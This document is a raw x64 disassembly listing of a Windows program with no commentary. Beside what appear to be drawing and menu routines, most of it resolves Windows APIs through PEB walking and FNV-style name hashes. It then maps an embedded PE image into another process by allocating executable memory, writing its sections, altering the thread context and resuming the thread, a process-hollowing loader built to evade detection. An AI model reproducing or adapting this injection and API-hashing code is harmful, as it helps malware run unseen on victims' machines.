movss xmm2, dword [0x1401cb5f8]
movaps xmm1, xmm13
lea rcx, [rbp + 0x248]
call fcn.140002800
mov rdi, rax
mov edx, r14d
lea rcx, [rbp + 0x1308]
call fcn.14004a2c0
mov rbx, rax
mov byte [rbp + 0x3c0], WSASetLastError
mov byte [rbp + 0x3c1], Ordinal_79
mov byte [rbp + 0x3c2], 0x43
mov byte [rbp + 0x3c3], Ordinal_79
mov byte [rbp + 0x3c4], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0x3c5], 0x59
mov byte [rbp + 0x3c6], 0x5b
mov byte [rbp + 0x3c7], 0x5f
mov byte [rbp + 0x3c8], 0x50
mov byte [rbp + 0x3c9], 0
mov byte [rbp + 0x3ca], 1
lea rcx, [rbp + 0x3c0]
call fcn.14004f3f0
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x12e8]
call fcn.140093f00
nop
mov rcx, rax
call fcn.140090b20
xor r9d, r9d
mov r8b, 1
mov rdx, rdi
mov rcx, rax
call fcn.14000c100
nop
lea rcx, [rbp + 0x12e8]
call fcn.140090bf0
nop
lea rcx, [rbp + 0x1308]
call fcn.140090bf0
test r14d, r14d
jne 0x1400743aa
lea rcx, [rbp - 0x28]
call fcn.140084c10
mov rcx, rax
call fcn.14008cfd0
mov rcx, rax
mov r8b, 1
mov edx, r12d
call fcn.1400606f0
lea rcx, [rbp - 0x27]
call fcn.140084cc0
mov rcx, rax
call fcn.14008cfa0
mov rcx, rax
call fcn.14003a290
movaps xmm1, xmm11
movaps xmm0, xmm9
call fcn.140013000
lea rcx, [rbp - 0x26]
call fcn.140084d30
mov rcx, rax
call fcn.14008cf70
mov rbx, rax
movss dword [rsp + 0x20], xmm10
movaps xmm3, xmm9
movaps xmm2, xmm10
movaps xmm1, xmm9
lea rcx, [rbp + 0x730]
call fcn.140002820
mov rdx, rbx
mov rcx, rax
call fcn.14003a310
call fcn.14003c9a0
lea rcx, [rbp - 0x25]
call fcn.140084d90
mov rcx, rax
call fcn.14008cf30
mov rcx, rax
call fcn.14003a290
movaps xmm1, xmm11
movaps xmm0, xmm9
call fcn.140013000
lea rcx, [rbp - 0x24]
call fcn.140084df0
mov rcx, rax
call fcn.14008cf10
mov rbx, rax
mov dword [rsp + 0x20], 0xff
xor r9d, r9d
mov edx, 0xdc
lea r8d, [rdx - 0x1e]
lea rcx, [rbp + 0x740]
call fcn.14004f620
lea rdx, [rbp + 0x750]
mov rcx, rax
call fcn.140024e00
lea rcx, [rbp + 0x750]
jmp 0x140074767
cmp r14d, 1
jne 0x140074508
lea rcx, [rbp - 0x23]
call fcn.140084e50
mov rcx, rax
call fcn.14008cec0
mov rcx, rax
movzx r8d, r14b
mov edx, r12d
call fcn.1400606f0
lea rcx, [rbp - 0x22]
call fcn.140084ef0
mov rcx, rax
call fcn.14008ce90
mov rcx, rax
call fcn.14003a290
movaps xmm1, xmm11
movaps xmm0, xmm9
call fcn.140013000
lea rcx, [rbp - 0x21]
call fcn.140084f60
mov rcx, rax
call fcn.14008ce60
mov rbx, rax
movss dword [rsp + 0x20], xmm10
movaps xmm3, xmm9
movaps xmm2, xmm10
movaps xmm1, xmm9
lea rcx, [rbp + 0x760]
call fcn.140002820
mov rdx, rbx
mov rcx, rax
call fcn.14003a310
call fcn.14003c9a0
lea rcx, [rbp - 0x20]
call fcn.140084fc0
mov rcx, rax
call fcn.14008ce20
mov rcx, rax
call fcn.14003a290
movaps xmm1, xmm11
movaps xmm0, xmm9
call fcn.140013000
lea rcx, [rbp - 0x1f]
call fcn.140085020
mov rcx, rax
call fcn.14008ce00
mov rbx, rax
mov dword [rsp + 0x20], 0xff
xor r9d, r9d
mov edx, 0xdc
lea r8d, [rdx - 0x1e]
lea rcx, [rbp + 0x770]
call fcn.14004f620
lea rdx, [rbp + 0x780]
mov rcx, rax
call fcn.140024e00
mov rdx, rbx
lea rcx, [rbp + 0x780]
call fcn.14003a310
call fcn.14003c9a0
lea rcx, [rbp - 0x1e]
call fcn.140085080
mov rcx, rax
call fcn.14008cdb0
mov rbx, rax
mov dword [rsp + 0x20], 0xff
xor r9d, r9d
xor edx, edx
mov r8d, 0xff
lea rcx, [rbp + 0x790]
call fcn.14004f620
lea rdx, [rbp + 0x7a0]
mov rcx, rax
call fcn.140024e00
lea rcx, [rbp + 0x7a0]
jmp 0x140074767
cmp r14d, 2
jne 0x140074665
lea rcx, [rbp - 0x1d]
call fcn.140085150
mov rcx, rax
call fcn.14008cd60
mov rcx, rax
mov r8b, 1
mov edx, r12d
call fcn.1400606f0
lea rcx, [rbp - 0x1c]
call fcn.1400851f0
mov rcx, rax
call fcn.14008cd30
mov rcx, rax
call fcn.14003a290
movaps xmm1, xmm11
movaps xmm0, xmm9
call fcn.140013000
lea rcx, [rbp - 0x1b]
call fcn.140085260
mov rcx, rax
call fcn.14008cd00
mov rbx, rax
movss dword [rsp + 0x20], xmm10
movaps xmm3, xmm9
movaps xmm2, xmm10
movaps xmm1, xmm9
lea rcx, [rbp + 0x7b0]
call fcn.140002820
mov rdx, rbx
mov rcx, rax
call fcn.14003a310
call fcn.14003c9a0
lea rcx, [rbp - 0x1a]
call fcn.1400852c0
mov rcx, rax
call fcn.14008ccc0
mov rcx, rax
call fcn.14003a290
movaps xmm1, xmm11
movaps xmm0, xmm9
call fcn.140013000
lea rcx, [rbp - 0x19]
call fcn.140085320
mov rcx, rax
call fcn.14008cca0
mov rbx, rax
mov dword [rsp + 0x20], 0xff
xor r9d, r9d
mov edx, 0xdc
lea r8d, [rdx - 0x1e]
lea rcx, [rbp + 0x7c0]
call fcn.14004f620
lea rdx, [rbp + 0x7d0]
mov rcx, rax
call fcn.140024e00
mov rdx, rbx
lea rcx, [rbp + 0x7d0]
call fcn.14003a310
call fcn.14003c9a0
lea rcx, [rbp - 0x18]
call fcn.140085380
mov rcx, rax
call fcn.14008cc50
mov rbx, rax
mov dword [rsp + 0x20], 0xff
xor r9d, r9d
xor edx, edx
mov r8d, 0xff
lea rcx, [rbp + 0x7e0]
call fcn.14004f620
lea rdx, [rbp + 0x7f0]
mov rcx, rax
call fcn.140024e00
lea rcx, [rbp + 0x7f0]
jmp 0x140074767
cmp r14d, 3
jne 0x14007476f
lea rcx, [rbp - 0x17]
call fcn.140085450
mov rcx, rax
call fcn.14008cc00
mov rcx, rax
mov r8b, 1
mov edx, r12d
call fcn.1400606f0
lea rcx, [rbp - 0x16]
call fcn.1400854f0
mov rcx, rax
call fcn.14008cbd0
mov rcx, rax
call fcn.14003a290
movaps xmm1, xmm11
movaps xmm0, xmm9
call fcn.140013000
lea rcx, [rbp - 0x15]
call fcn.140085560
mov rcx, rax
call fcn.14008cba0
mov rbx, rax
movss dword [rsp + 0x20], xmm10
movaps xmm3, xmm9
movaps xmm2, xmm10
movaps xmm1, xmm9
lea rcx, [rbp + 0x800]
call fcn.140002820
mov rdx, rbx
mov rcx, rax
call fcn.14003a310
call fcn.14003c9a0
lea rcx, [rbp - 0x14]
call fcn.1400855c0
mov rcx, rax
call fcn.14008cb60
mov rcx, rax
call fcn.14003a290
movaps xmm1, xmm11
movaps xmm0, xmm9
call fcn.140013000
lea rcx, [rbp - 0x13]
call fcn.140085620
mov rcx, rax
call fcn.14008cb40
mov rbx, rax
mov dword [rsp + 0x20], 0xff
xor r9d, r9d
mov edx, 0xdc
lea r8d, [rdx - 0x1e]
lea rcx, [rbp + 0x810]
call fcn.14004f620
lea rdx, [rbp + 0x820]
mov rcx, rax
call fcn.140024e00
lea rcx, [rbp + 0x820]
mov rdx, rbx
call fcn.14003a310
call fcn.14000c1a0
mov ecx, r12d
call fcn.140004e30
mov ecx, r12d
call fcn.140004f90
test r14d, r14d
jne 0x140077a5a
cmp byte [0x14021077a], r14b
je 0x140081c6b
movaps xmm0, xmm15
call fcn.1400131d0
movss dword [rsp + 0x20], xmm10
movaps xmm3, xmm9
movaps xmm2, xmm10
movaps xmm1, xmm9
lea rcx, [rbp + 0x830]
call fcn.140002820
mov rdx, rax
xor ecx, ecx
call fcn.140004dd0
lea rcx, [rbp - 0x12]
call fcn.140085680
mov rcx, rax
call fcn.14008cae0
mov rcx, rax
xor r8d, r8d
xor edx, edx
call fcn.1400606f0
mov ecx, r12d
call fcn.140004e30
mov rax, qword [0x140210780]
movsd xmm1, qword [rax + 0x1c88]
movss xmm0, dword [0x14021077c]
cvtps2pd xmm0, xmm0
subsd xmm1, xmm0
comisd xmm1, xmmword [0x1401cb4f8]
jb 0x140081c6b
call fcn.140062510
mov rax, qword [0x140214480]
cmp byte [rax + 0x2c], 1
jne 0x140081c6b
cmp byte [rax + 0x29], 1
jne 0x1400752ec
lea rcx, [rbp + 0x29d8]
call fcn.140090c70
nop
lea rcx, [rbp - 0x11]
call fcn.140085770
mov rcx, rax
call fcn.14008cab0
mov rdx, rax
lea rcx, [rbp + 0x29d8]
call fcn.140090bd0
lea edx, [r14 + 0x18]
lea rcx, [rbp + 0x28b0]
call fcn.140062500
lea rdx, [rbp + 0x29d8]
lea rcx, [rbp + 0x12c8]
call fcn.140090c90
mov r8, rax
lea rdx, [rbp + 0x28b0]
lea rcx, [0x140211120]
call fcn.1400a43e0
nop
lea rcx, [rbp + 0x28b0]
call fcn.140090170
mov r14, rax
mov qword [rbp + 0x2800], rax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x25f8], xmm0
mov qword [rbp + 0x2608], rax
xorps xmm1, xmm1
movups xmmword [rbp + 0x2ea0], xmm1
movups xmmword [rbp + 0x2eb0], xmm1
movups xmmword [rbp + 0x2ec0], xmm1
movups xmmword [rbp + 0x2ed0], xmm1
movups xmmword [rbp + 0x2ee0], xmm1
movups xmmword [rbp + 0x2ef0], xmm1
mov qword [rbp + 0x2f00], rax
movsxd r15, dword [r14 + 0x3c]
add r15, r14
mov qword [rsp + 0x68], r15
cmp dword [r15], 0x4550
jne 0x1400752cc
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400749a6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400749a6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x4ede7911
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400749a1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140074980
cmp r8d, 0x5b505d01
je 0x1400749ab
test r9d, r9d
jne 0x140074960
mov rax, qword [rax]
jmp 0x140074930
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r9d, dword [rcx + rax*4]
add r9, r10
mov r8d, 0x104
lea rdx, [rbp + 0x4820]
xor ecx, ecx
call r9
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov edi, dword [rcx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x140074a66
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140074a66
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r11]
add rdx, r11
mov r8d, 0x57ffea8c
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140074a61
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140074a40
cmp r8d, 0x2ba5121c
je 0x140074a6b
test r9d, r9d
jne 0x140074a20
mov rax, qword [rax]
jmp 0x1400749f0
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
lea rax, [rbp + 0x25f8]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x2ea0]
mov qword [rsp + 0x40], rax
xor eax, eax
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], reloc.WS2_32.dll_sendto
mov dword [rsp + 0x20], eax
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x4820]
xor ecx, ecx
call r10
test eax, eax
je 0x1400752cc
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov edi, dword [rcx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x140074b56
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140074b56
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r11]
add rdx, r11
mov r8d, 0x3a2fa824
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140074b51
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140074b30
cmp r8d, 0xa65d9d7c
je 0x140074b5b
test r9d, r9d
jne 0x140074b10
mov rax, qword [rax]
jmp 0x140074ae0
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
mov edx, 0x4d0
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x1000
call r10
mov rsi, rax
mov qword [rsp + 0x60], rax
mov dword [rax + 0x30], 0x10000b
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop word [rax + rax]
mov r10, qword [rcx + 0x30]
movsxd rdx, dword [r10 + 0x3c]
mov edi, dword [rdx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140074c26
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140074c26
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rax, [rbx + r9*4]
mov edx, dword [rax + r10]
add rdx, r10
mov r8d, 0x94578d13
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x140074c21
nop
movsx eax, al
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x140074c00
cmp r8d, 0x497fe5e0
je 0x140074c2b
test r9d, r9d
jne 0x140074be0
mov rcx, qword [rcx]
jmp 0x140074bb0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r8d, dword [rcx + rax*4]
add r8, r10
mov rdx, rsi
mov rcx, qword [rbp + 0x2600]
call r8
test eax, eax
je 0x14007516b
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov edi, dword [rcx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x140074ce6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140074ce6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r11]
add rdx, r11
mov r8d, 0xfc940f4f
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140074ce1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140074cc0
cmp r8d, 0x67e349d6
je 0x140074ceb
test r9d, r9d
jne 0x140074ca0
mov rax, qword [rax]
jmp 0x140074c70
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
mov r8d, dword [r15 + 0x50]
lea r13, [r15 + 0x30]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov rdx, qword [r13]
mov rcx, qword [rbp + 0x25f8]
call r10
mov r12, rax
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop dword [rax + rax]
mov r11, qword [rcx + 0x30]
movsxd rdx, dword [r11 + 0x3c]
mov edi, dword [rdx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x140074db6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140074db6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rax, [r11 + r9*4]
mov edx, dword [rax + rbx]
add rdx, r11
mov r8d, 0xb7fec889
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x140074db1
nop dword [rax]
movsx eax, al
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x140074d90
cmp r8d, 0xa42c4656
je 0x140074dbb
test r9d, r9d
jne 0x140074d70
mov rcx, qword [rcx]
jmp 0x140074d40
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
mov r9d, dword [r15 + 0x54]
xor ebx, ebx
mov qword [rsp + 0x20], rbx
mov r8, r14
mov rdx, r12
mov rcx, qword [rbp + 0x25f8]
call r10
mov r15d, ebx
mov rax, qword [rsp + 0x68]
cmp bx, word [rax + 6]
jae 0x140074fe9
mov r14d, ebx
nop dword [rax]
nop word [rax + rax]
mov rax, qword [rbp + 0x2800]
movsxd rsi, dword [rax + 0x3c]
add rsi, r14
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov edi, dword [rcx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x140074ea6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140074ea6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r11 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r11
mov r8d, 0xf4eca3b5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140074ea1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140074e80
cmp r8d, 0xddbdaf7a
je 0x140074eab
test r9d, r9d
jne 0x140074e60
mov rax, qword [rax]
jmp 0x140074e30
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
mov rax, qword [rbp + 0x2800]
mov r9d, dword [rsi + rax + 0x118]
mov r8d, dword [rsi + rax + 0x11c]
add r8, rax
mov edx, dword [rsi + rax + 0x114]
add rdx, r12
xor eax, eax
mov qword [rsp + 0x20], rax
mov rcx, qword [rbp + 0x25f8]
call r10
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov edi, dword [rcx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x140074f86
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140074f86
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r11 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r11
mov r8d, 0x675da258
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140074f81
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140074f60
cmp r8d, 0xb80682b7
je 0x140074f8b
test r9d, r9d
jne 0x140074f40
mov rax, qword [rax]
jmp 0x140074f10
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
mov rsi, qword [rsp + 0x60]
mov rdx, qword [rsi + 0x88]
add rdx, 0x10
xor eax, eax
mov qword [rsp + 0x20], rax
lea r9d, [rax + 8]
mov r8, r13
mov rcx, qword [rbp + 0x25f8]
call r10
inc r15
add r14, 0x28
mov rax, qword [rsp + 0x68]
movzx eax, word [rax + 6]
cmp r15, rax
jb 0x140074e10
mov rax, qword [rsp + 0x68]
mov eax, dword [rax + 0x28]
add rax, r12
mov qword [rsi + 0x80], rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140075086
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140075086
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0xdfdcdbee
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140075081
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140075060
cmp r8d, 0x330358bd
je 0x14007508b
test r9d, r9d
jne 0x140075040
mov rax, qword [rax]
jmp 0x140075010
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r8d, dword [rcx + rax*4]
add r8, r10
mov rdx, rsi
mov rcx, qword [rbp + 0x2600]
call r8
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140075146
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140075146
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x172b49f4
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140075141
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140075120
cmp r8d, 0x41ce427
je 0x14007514b
test r9d, r9d
jne 0x140075100
mov rax, qword [rax]
jmp 0x1400750d0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov rcx, qword [rbp + 0x2600]
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400751f6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400751f6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0xb6020819
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400751f1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400751d0
cmp r8d, 0x18155259
je 0x1400751fb
test r9d, r9d
jne 0x1400751b0
mov rax, qword [rax]
jmp 0x140075180
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov rcx, qword [rbp + 0x25f8]
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400752a6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400752a6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0xd898a6ff
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400752a1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140075280
cmp r8d, 0x856ad673
je 0x1400752ab
test r9d, r9d
jne 0x140075260
mov rax, qword [rax]
jmp 0x140075230
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov rcx, qword [rbp + 0x2600]
call rdx
nop
lea rcx, [rbp + 0x28b0]
call fcn.140090180
nop
lea rcx, [rbp + 0x29d8]
call fcn.140090bf0
mov rax, qword [0x140214480]
cmp byte [rax + 0x2a], 1
jne 0x140075dac
lea rcx, [rbp + 0x2a38]
call fcn.140090c70
nop
lea rcx, [rbp - 0x10]
call fcn.1400857d0
mov rcx, rax
call fcn.14008ca80
mov rdx, rax
lea rcx, [rbp + 0x2a38]
call fcn.140090bd0
mov edx, Ordinal_26
lea rcx, [rbp + 0x2898]
call fcn.140062500
lea rdx, [rbp + 0x2a38]
lea rcx, [rbp + 0x1ca8]
call fcn.140090c90
mov r8, rax
lea rdx, [rbp + 0x2898]
lea rcx, [0x140211120]
call fcn.1400a43e0
nop
lea rcx, [rbp + 0x2898]
call fcn.140090170
mov r14, rax
mov qword [rbp + 0x2800], rax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x2610], xmm0
mov qword [rbp + 0x2620], rax
xorps xmm1, xmm1
movups xmmword [rbp + 0x2f10], xmm1
movups xmmword [rbp + 0x2f20], xmm1
movups xmmword [rbp + 0x2f30], xmm1
movups xmmword [rbp + 0x2f40], xmm1
movups xmmword [rbp + 0x2f50], xmm1
movups xmmword [rbp + 0x2f60], xmm1
mov qword [rbp + 0x2f70], rax
movsxd r15, dword [r14 + 0x3c]
add r15, r14
mov qword [rsp + 0x68], r15
cmp dword [r15], 0x4550
jne 0x140075d8c
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140075466
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140075466
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x8f0a60bd
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140075461
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140075440
cmp r8d, 0xbdd66ac5
je 0x14007546b
test r9d, r9d
jne 0x140075420
mov rax, qword [rax]
jmp 0x1400753f0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r9d, dword [rcx + rax*4]
add r9, r10
mov r8d, 0x104
lea rdx, [rbp + 0x4930]
xor ecx, ecx
call r9
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov edi, dword [rcx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x140075526
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140075526
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r11 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r11
mov r8d, 0x78bb5ca4
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140075521
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140075500
cmp r8d, 0xf039db84
je 0x14007552b
test r9d, r9d
